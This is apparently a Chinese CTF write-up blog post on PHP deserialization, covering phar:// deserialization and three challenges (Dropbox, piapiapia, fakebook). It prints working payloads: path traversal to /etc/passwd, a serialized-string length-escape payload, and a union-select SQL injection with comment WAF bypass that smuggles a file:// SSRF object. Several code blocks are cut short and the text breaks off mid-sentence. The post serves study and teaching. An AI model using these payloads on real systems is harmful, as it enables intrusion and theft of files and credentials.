关于phar反序列化
phar反序列化
- 简单的说,phar就是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// ,php://等类似,也是一种流包装器。
phar结构由 4 部分组成: - stub:phar 文件标识,格式为 xxx;
- manifest:压缩文件的属性等信息,以序列化存储;
- contents:压缩文件的内容;
- signature:签名,放在文件末尾;
这里有两个关键点: - 一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;
- 二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。
受影响的文件函数:fileatime,filectime,file_exists,file_get_contents,file_put_contents,file,filegroup,fopen,fileinode,filemtime,fileowner,fileperms,is_dir,is_executable,is_file,is_link,is_readable,is_writable,is_writeable,parse_ini_file,copy,unlink,stat,readfile.
如果有文件test.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<?php
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
生成phar的文件phar.phar可以这样写:
1 | <?php |
这样,当我们访问phar.phpr时,将会生成test.phar的phar文件。之后再将其作为参数传到test.php中,就可getshell.
利用条件:
- phar文件要能够上传到服务器端.
- 要有魔术方法作为跳板.
- 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file().
- 文件操作函数的参数可控,且:、/、phar等特
殊字符没有被过滤.[CISCN2019 华北赛区 Day1 Web1]Dropbox
- 进入题目随便注册一个账号,可以上传文件filename=
.htaccess.jpg
。上传了之后可以删除和下载文件。在下载文件的包中发现是通过post参数filename来进行的,所以尝试能不能进行任意文件下载。
修改filename可进行任意文件的下载(下载不了flag)。filename=../../../../../etc/passwd
. - 于是下载网页源码,index.php,class.php,delete.php,ownload.php
注意到class.php中的Filelist类中的__destruct可以读取任意文件:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
class.php中的delete函数使用了unlink函数:
1 | public function detele() { |
而delete.php中又调用了delete函数:
1 | include "class.php"; |
生成phar文件的php代码:
1 | <?php |
之后将生成的phar文件后缀改为jpg上传。
接下来再点击删除文件,将文件名改为phar://phar.jpg即可获得flag.
0CTF-2016-piapiapia(php反序列化长度变化尾部字符串逃逸)
- 进行一下目录扫描,发现源码泄露www.zip,把源码给出:
index.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
在输入账号密码之后进入了profile.php,下面是profile.php的源码:
1 | <?php |
还有注册页面的源码(没有太大用),register.php:
1 | <?php |
然后是update.php:
1 | <?php |
核心的处理代码,class.php:
1 | <?php |
最后是config.php:
1 | <?php |
看来flag就是在config.php中了,要想办法拿到config.php的内容了。然后就是代码审计了。
这个地方貌似有个文件读取的地方,在profile.php中:
1 | else { |
上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo’]是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。
1 | $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} |
可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。
在设置了$profile之后,用update_profile()函数进行处理:
1 | public function update_profile($username, $new_profile) { |
进行了过滤:
1 | public function filter($string) { |
有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则:
1 | if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) |
后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
数组绕过了第一个正则过滤之后,如果nickname最后面塞上”;}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了:
1 | nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
在where被正则匹配换成hacker之后,正好满足长度,然后后面的”};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
下面开始操作:
注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可.
然后进入到profile中查看图片信息,把base64码解码:
1 | PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg== |
网鼎杯 fakebook
- nikto扫描:
nikto -host url
发现隐藏的robots.txt,其中有源码泄漏(/user.php.bak),输入到地址栏,得到文件user.php.bak。然后用御剑扫描,发现flag.php。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46user.php.bak源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); //初始化一个curl会话
curl_setopt($ch, CURLOPT_URL, $url); //设置需要抓取的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
$output = curl_exec($ch); //运行cURL,请求网页
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch); //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
审计源码发现其中get()函数存在SSRF(服务端请求伪造)漏洞。
对注册页面和登陆页面进行post注入探测,发现注册页面中username一栏存在post注入。然后随意注册一个账户,登陆进去以后,发现/view.php?no=1,存在get注入。将no参数改为不存在的值,php报错,得到网站配置文件的后台物理路径/var/www/html/。
- 我选择了post注入,因为先发现了post,所以就用burpsuite截取了post数据包,保存为post.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13POST /join.ok.php HTTP/1.1
Host: http://f60c34e18065457cab2a8f72a615f74aeed1bc0d1cd84c6d.game.ichunqiu.com/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://f60c34e18065457cab2a8f72a615f74aeed1bc0d1cd84c6d.game.ichunqiu.com/join.php
Cookie: UM_distinctid=1655535613c89-0225b46f53fa79-38694646-100200-1655535613e38; pgv_pvi=3838269440; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1534816179,1534831680,1534834500,1534848123; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=b6cdb3f35d0c299c39a2a581c0de505887626935; pgv_si=s4980557824; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1534848148; PHPSESSID=dcgbips79uln77iea8bol6u4d5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
username=1&passwd=1&age=1&blog=https%3A%2F%2Fwww.csdn.net%2F
sqlmap跑一下发现存储的是php序列化的数据.
整理出思路:利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。
构造注入:view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
直接用 union select 会被WAF检测到,所以使用 /**/ 来绕过,反序列化字符串对应数据库data列放在第四列(fuzz测试,爆列名),注入后bolg栏显示file:///var/www/html/flag.php,代表注入成功,审计页面源码,发现